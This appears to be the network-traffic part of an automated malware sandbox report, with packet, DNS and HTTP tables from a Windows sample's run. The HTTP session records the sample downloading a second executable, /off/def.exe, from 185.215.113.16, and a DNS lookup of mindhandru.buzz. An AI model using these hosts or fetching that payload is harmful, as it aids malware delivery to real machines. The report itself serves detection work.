Dec 27, 2024 09:13:11.657078028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.658041000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.658086061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.658139944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.659151077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.659200907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.659269094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.660187006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.660231113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.660259008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.661293983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.661341906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.661348104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.662349939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.662393093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.662494898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.663415909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.663454056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.663486004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.664436102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.664480925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.664541960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.665493011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.665534019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.665676117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.666640997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.666683912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.666728020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.667628050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.667685986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.667717934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.668728113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.668766975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.668800116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.669734001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.669778109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.669826984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.670811892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.670854092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.670893908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.695408106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.695497036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.695584059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.695887089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.695949078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.695967913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.696576118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.696621895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.696677923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.697694063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.697706938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.697743893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.779205084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.779350042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.779412031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.779747963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.779841900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.779882908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.780556917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.780776978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.780849934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.780896902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.781932116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.782000065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.782047033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.782974958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.783006907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.783018112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.784003973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.784054995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.784096956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.785080910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.785128117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.785141945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.786163092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.786209106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.786267042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.787236929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.787256956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.787286043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.788260937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.788305044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.788336039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.789309978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.789354086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.789421082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.790380955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.790414095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.790425062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.791439056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.791479111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.791542053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.792512894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.792557955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.792615891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.793555021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.793598890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.793658972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.794636965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.794680119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.794743061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.795681953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.795726061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.795835972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.820519924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.820574045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.820600986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.820938110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.820986986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.821028948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.821645975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.821696043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.821758986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.822688103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.822731972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.822791100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.823743105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.823786974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.904104948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.904191971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.904256105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.904696941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.904712915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.904758930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.905339003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.905452967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.905514956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.906398058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.906430960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.906471014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.907109976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.907188892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.907233000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.908123970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.908267021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.908308983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.909298897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.909463882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.909502029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.910393000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.910510063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.910551071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.911308050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.911453962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.911511898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.912688971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.912772894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.912817001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.913475037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.913609028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.913647890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.914613962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.914700985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.914747953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.916018009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.916119099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.916163921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.916654110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.916763067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.916800022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.917711973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.917862892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.917901993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.918752909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.968801975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.980190992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:12.031223059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:23.240067005 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:23.240123034 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:23.240197897 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:23.240416050 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:23.240434885 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:23.400317907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:25.031388044 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:25.031702995 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:25.031735897 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:25.033221006 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:25.033319950 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:25.034456015 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:25.034538984 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:25.081228971 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:25.081269979 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:25.127269983 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:34.715346098 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:34.715440035 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:13:34.715490103 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:35.163427114 CET	49756	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:13:35.163450003 CET	443	49756	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:23.168041945 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:23.168070078 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:23.168170929 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:23.186810017 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:23.186825037 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:24.923129082 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:24.926522970 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:24.926544905 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:24.926831007 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:24.929723024 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:24.929778099 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:24.983899117 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:34.663769007 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:34.663839102 CET	443	49938	172.217.21.36	192.168.2.4
Dec 27, 2024 09:14:34.663882017 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:36.142340899 CET	49938	443	192.168.2.4	172.217.21.36
Dec 27, 2024 09:14:36.142384052 CET	443	49938	172.217.21.36	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:12:39.587388992 CET	54564	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:12:39.816926956 CET	53	54564	1.1.1.1	192.168.2.4
Dec 27, 2024 09:12:58.600527048 CET	138	138	192.168.2.4	192.168.2.255
Dec 27, 2024 09:13:19.355015039 CET	53	61504	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:19.436703920 CET	53	64247	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:22.218514919 CET	53	63148	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:23.097181082 CET	54200	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:23.097316027 CET	56966	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:23.234278917 CET	53	54200	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:23.238641024 CET	53	56966	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:26.567581892 CET	57986	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:26.567761898 CET	50386	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:29.645641088 CET	56793	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:29.645798922 CET	53462	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:31.425983906 CET	62149	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:31.426374912 CET	49809	53	192.168.2.4	1.1.1.1
Dec 27, 2024 09:13:34.376128912 CET	53	60606	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:39.322812080 CET	53	52414	1.1.1.1	192.168.2.4
Dec 27, 2024 09:13:58.289902925 CET	53	57260	1.1.1.1	192.168.2.4
Dec 27, 2024 09:14:19.140094042 CET	53	50009	1.1.1.1	192.168.2.4
Dec 27, 2024 09:14:20.785135031 CET	53	60830	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 09:13:21.741305113 CET	192.168.2.4	1.1.1.1	c2e3	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 09:12:39.587388992 CET	192.168.2.4	1.1.1.1	0x4543	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:23.097181082 CET	192.168.2.4	1.1.1.1	0x1fff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:23.097316027 CET	192.168.2.4	1.1.1.1	0x3d50	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 09:13:26.567581892 CET	192.168.2.4	1.1.1.1	0xa0fd	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:26.567761898 CET	192.168.2.4	1.1.1.1	0xf4	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 09:13:29.645641088 CET	192.168.2.4	1.1.1.1	0x16c4	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:29.645798922 CET	192.168.2.4	1.1.1.1	0xd06a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 09:13:31.425983906 CET	192.168.2.4	1.1.1.1	0xb535	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:31.426374912 CET	192.168.2.4	1.1.1.1	0xd751	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 09:12:39.816926956 CET	1.1.1.1	192.168.2.4	0x4543	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:12:39.816926956 CET	1.1.1.1	192.168.2.4	0x4543	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:23.234278917 CET	1.1.1.1	192.168.2.4	0x1fff	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:23.238641024 CET	1.1.1.1	192.168.2.4	0x3d50	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 09:13:26.703665018 CET	1.1.1.1	192.168.2.4	0x425f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.704942942 CET	1.1.1.1	192.168.2.4	0x66bb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.704942942 CET	1.1.1.1	192.168.2.4	0x66bb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.704942942 CET	1.1.1.1	192.168.2.4	0x66bb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:26.705704927 CET	1.1.1.1	192.168.2.4	0xf4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.705704927 CET	1.1.1.1	192.168.2.4	0xf4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.706144094 CET	1.1.1.1	192.168.2.4	0xa0fd	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.706144094 CET	1.1.1.1	192.168.2.4	0xa0fd	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.706144094 CET	1.1.1.1	192.168.2.4	0xa0fd	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:26.706144094 CET	1.1.1.1	192.168.2.4	0xa0fd	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:29.363917112 CET	1.1.1.1	192.168.2.4	0xbac8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.364047050 CET	1.1.1.1	192.168.2.4	0x1000	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.364047050 CET	1.1.1.1	192.168.2.4	0x1000	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.364047050 CET	1.1.1.1	192.168.2.4	0x1000	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:29.783900976 CET	1.1.1.1	192.168.2.4	0xd06a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.783900976 CET	1.1.1.1	192.168.2.4	0xd06a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.783981085 CET	1.1.1.1	192.168.2.4	0x16c4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.783981085 CET	1.1.1.1	192.168.2.4	0x16c4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.783981085 CET	1.1.1.1	192.168.2.4	0x16c4	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:29.783981085 CET	1.1.1.1	192.168.2.4	0x16c4	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:13:31.564600945 CET	1.1.1.1	192.168.2.4	0xd751	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:31.668776035 CET	1.1.1.1	192.168.2.4	0xb535	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:40.806410074 CET	1.1.1.1	192.168.2.4	0x6690	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:40.914608955 CET	1.1.1.1	192.168.2.4	0xb349	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:47.836370945 CET	1.1.1.1	192.168.2.4	0xb9e6	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:13:47.837918043 CET	1.1.1.1	192.168.2.4	0x5220	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	185.215.113.16	80	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:13:03.070934057 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:13:04.448957920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:13:03 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Fri, 27 Dec 2024 07:39:36 GMT Connection: keep-alive ETag: "676e59b8-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 